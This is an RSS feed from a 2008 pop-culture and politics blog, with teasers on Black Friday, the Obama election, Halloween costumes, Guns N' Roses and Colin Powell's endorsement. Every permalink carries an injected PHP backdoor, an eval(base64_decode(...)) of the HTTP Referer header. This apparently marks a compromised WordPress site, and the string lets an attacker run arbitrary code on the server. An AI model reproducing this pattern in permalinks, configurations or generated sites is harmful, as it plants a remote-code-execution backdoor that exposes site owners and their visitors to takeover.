http://culturemush.com Where Art, Music, Politics & Pop Culture Collide Sat, 29 Nov 2008 00:43:53 +0000 http://backend.userland.com/rss092 en So you are now passed THE DAY in which you stop worrying about your lackluster bank account, your home in foreclosure and your empty fridge. You are now taking a break after hitting every store and shopping mall in your city, and spending $326 in gas to save $43 on ... http://culturemush.com/2008/11/28/no-light-at-the-end-of-black-friday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Not to be braggadocios, but I was born young. As a toddler, I zoomed around the house, ate like a horse, used a diaper to do my business, and cried off 3,000 calories an hour. After I got out of that stage, I was still young, and I started playing ... http://culturemush.com/2008/11/19/diagnosis-a-bad-case-of-the-old/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Being as I have never been the most handsome guy, the most financially well off, nor have I been blessed with the highest IQ, I've had to get through life in a manner which many around us have: By mastering the ways of always appearing intellectually superior to the individuals ... http://culturemush.com/2008/11/08/the-7-steps-to-intellectual-superiority/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well it's a new day and Obama is now our Presidential elect. If you notice the date, you're probably wondering how I can say this, but I may or may not have used my time machine, because I couldn't wait to see the final result. As did the majority of ... http://culturemush.com/2008/11/04/what-change-means-to-me/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Can you smell that? That's the smell of Halloween in the air. As is with every October, we're all greeted with severe allergies, mutated flu strains, weather that is mighty nippley, and a barrage of people who have no clue what they want to be for Halloween. I've noticed a ... http://culturemush.com/2008/10/30/categories-of-halloween-costumes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Just when you thought the world couldn't get any crazier, we get news that some twisted neo-Nazi skinheads were planning on going on a massacre. Their plans were to rob a gun store and invade a predominantly African American school were thwarted when Federal Agents stepped in. The 2 men (if ... http://culturemush.com/2008/10/27/skinhead-assassination-plot-thwarted/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well, it's official. It seems like Axl Rose and Guns N' Roses might actually be ready to release Chinese Democracy to the masses. However, judging by some of the feedback I've seen, not everybody is impressed. I guess when you take 14 years to complete an album and your band ... http://culturemush.com/2008/10/22/guns-n-roses-releases-chinese-democracy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ At this point of the election, I didn't believe there was a single thing that could shock me anymore. We've had people criticizing Obama for his Pastor, his name with Muslim ties (when did being a Muslim all of a sudden mean that you are evil), comments that his wife ... http://culturemush.com/2008/10/21/liberals-hate-real-americans/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ What a crazy season of football we've all been treated too. There have been some huge college upsets, a NFL free of any truly dominant teams (Hello Cowboys? Hello Patriots?), suspensions for tardiness (Plaxico and LJ), preseason Las Vegas beat downs (Javon Walker), very few notable Chad Ocho-Cinco or TO ... http://culturemush.com/2008/10/20/scrambling-qb-leveled-by-a-ref/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In a surprising move that has jolted the Democrats as well as the Republicans, retired general Colin Powell has broken his Republican ties for this election by officially endorsing Barack Obama.  Powell believes that Obama is viewed as a “transformational figure” that the USA needs, and that McCains tone throughout ... http://culturemush.com/2008/10/19/colin-powell-gives-obama-the-nod/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/